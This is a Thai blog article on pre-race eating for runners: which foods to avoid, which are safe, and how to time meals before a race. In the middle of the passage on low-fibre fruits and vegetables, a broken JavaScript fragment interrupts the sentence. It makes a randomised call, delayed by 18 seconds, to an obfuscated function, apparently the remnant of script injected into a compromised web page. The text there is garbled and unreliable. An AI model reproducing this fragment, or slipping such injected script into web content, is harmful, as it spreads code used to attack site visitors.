อาหารคือแหล่งพลังงานที่สำคัญสำหรับร่างกาย สารอาหารที่รับเข้าไปจะกลายเป็นแหล่งพลังงานสะสมในกล้ามเนื้อ ตับและกระแสเลือดให้กับนักวิ่ง การมีแหล่งพลังงานเพียงพอจะทำให้ performance การวิ่งที่ดี และในช่วงเวลา 24 ชั่วโมงก่อนการแข่งขันถือว่าเป็นช่วงเวลาที่สำคัญและต้องดูแลตัวเองให้ดี ระมัดระวังเรื่องอาหารการกินเป็นพิเศษ นักวิ่งธาตุอ่อน (ท้องและลำไส้ไวต่ออาหาร) หรือแม้ตานักวิ่งธาตุแข็ง หากกินของผิดสำแดงแม้แต่นิดเดียวอาจจะมีผลต่อ Performance การวิ่งได้ หรือเลวร้ายที่สุดคือ ท้องเสียไม่สามารถลงแข่งได้
Pre-Run Food : นักวิ่งควรกิน-ไม่ควรกิน อะไรก่อนลงวิ่งเเข่งขัน
ก่อนเข้าเรื่อง…สำหรับใครที่ทำใจควบคุมอาหารการกินไม่ค่อยได้ เราก็แนะนำให้โฟกัสอาหารมื้อสุดท้ายก่อนเข้านอนและมื้อรองท้อง 2 ชั่วโมงก่อนวิ่งแข่งขัน เอาหล่ะ!..เรามาดูกันว่า นักวิ่งควรกิน-ไม่ควรกิน อะไรบ้างก่อนลงวิ่งเเข่งขัน
ควรหลีกเลี่ยง
อาหารประเภท High-Fiber Food อาหารประเภทผักผลไม้ ขนมปังชนิด Whole-grain ซึ่งจะมีผลต่อการย่อยอาหารและการทำงานของลำไส้ เช่น ท้องอืดและอาจทำให้ท้องเสียได้ เป็นต้น แม้อาหารประเภทนี้จะดีต่อสุขภาพแต่นักวิ่งก็ควรหลีกเลี่ยง หรือลดให้น้อยลงหากต้องมีการวิ่งแข่งขันหรือการแข่งขันประเภท Long Run ในวันรุ่งขึ้น
อาหารประเภท High-Fat Food หรืออาหารประเภทของมันของทอด อย่าง มันฝรั่งทอด แฮมเบอร์เกอร์ เบคอนและชีส จะใช้เวลาในการย่อยนานกว่าปกติและให้สารอาหารน้อย ไม่เหมาะกับนักวิ่งที่มีรายการแข่งขันวิ่งในวันรุ่งขึ้นและการวิ่งแข่งแบบ Long Run เช่นกัน
กาเฟอีน (Caffeine) การดื่มกาแฟหรือเครื่องดื่มที่มีกาเฟอีน เป็นอีกหนึ่งของกินที่มีผลทำให้ท้องไส้เดินได้เช่นกัน สำหรับนักวิ่งที่ดื่มเป็นครั้งคร่าว เราไม่แนะนำให้ดื่มก่อนการวิ่ง แต่สำหรับนักวิ่งที่ดื่มเป็นประจำ กาเฟอีนจะช่วยบูส Performance ได้ระดับหนึ่งทีเดียว สำหรับใครที่อยากลองดื่มก็ให้ควรทดลองในสนามฝึกซ้อมซะก่อน สังเกตดูว่ามันเข้ากับร่างกายเราได้หรือไม่
ปลอดภัยกินได้
อาหารประเภทแป้งที่ผ่านการขัดสี หรือ Refined Carbs อาหารประเภทนี้ได้แก่ ข้าวขาว ขนมปังขาว สปาเกตตี้และพาสต้า เป็นต้น แม้จะคุณค่าจะไม่มากเท่าอาหารออร์แกนิค แต่จะย่อยง่าย กระเพาะลำไส้ไม่ทำงานหนัก หรือในช่วงมื้อก่อนแข่ง ขนมปังกับแยม ขนมปังกับแยมถั่วทาหน้าและน้ำเปล่าก็เพียงพอแล้ว
อาหารประเภท Low-Fiber Fruits andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Veggies อาหารที่มีไฟเบอร์น้อยแต่ดู Healthy ย่อยง่ายโดยที่กระเพาะและลำไส้ไม่ต้องทำงานหนัก อย่างเช่น แตงกวา มะเขือเทศ มันต้มและองุ่น เป็นต้น
อาหารประเภททดแทนผลิตภัณฑ์ที่ทำด้วยนม หรือ Dairy Substitutes เพราะคนเอเชียส่วนใหญ่ไม่สามารถย่อยนมได้เนื่องจาก lactose ดังนั้นผลิตภัณฑ์ที่สามารถทดแทนได้ อย่างเช่น นมถั่วเหลือง น้ำนมข้าวและนมอัลมอนด์ ถ้าชอบนมก็ให้ลองนมเปรี้ยวที่มีแลคโตบาซิลัส กับโยเกริ์ต เพราะเป็นนมที่ผ่านกระบวนการย่อยมาระดับหนึ่งเเล้ว
จำไว้ว่าเรื่องอาหารการกินสำคัญมาในช่วงเวลาก่อนแข่งขัน 24 ชั่วโมง นักวิ่งควรรับประทานอาหารที่ตนเองคุ้นเคยเท่านั้น ภาษาอังกฎษถึงกับกล่าวว่าอาหร Pre-Run ต้อง Nothing New กันเลย พยายามห้ามใจไม่ลองของแปลกไว้ก่อน ค่อยเอาไว้ช่วงหลังจบการแข่งขันจะดีที่สุด ข้อแนะนำอีกอย่างคือการเซต Timing อาหารก่อนการแข่งขัน มื้ออาหาร Pre-Run ถ้าจะให้ดีควรให้มีเวลาย่อยถึง 4-6 ชั่วโมง ให้กระเพาะได้ย่อยอาหารและลำไส้ได้ดูดซึมแร่ธาตุอาหารไปสะสมเป็นแหล่งพลังงาน ลดการทำงานของกระเพาะและลำไส้เวลาวิ่ง
ตบท้ายก่อนจาก…ถ้าการแข่งขันเกิดขึ้นในช่วงเช้า (โดยเฉพาะเมืองไทย) ก่อนเข้านอนมื้อสุดท้ายก็ควรเป็นอาหารประเภทที่มีคาร์โบไฮเดรตสูง และถ้าเกิดอาการหิวก่อนจะวิ่งก็ ลองรับอาหารประเภทพวก Snack ที่เป็นคาร์โบไฮเตรดผสมโปรตีน เช่น Energy-bar ที่มีขายตามงานทั่วไป ประมาณ 30-60 นาที ก่อนแข่งขัน เท่านี้ร่างกายคุณก็จะได้พลังงานพร้อมวิ่งละครับ
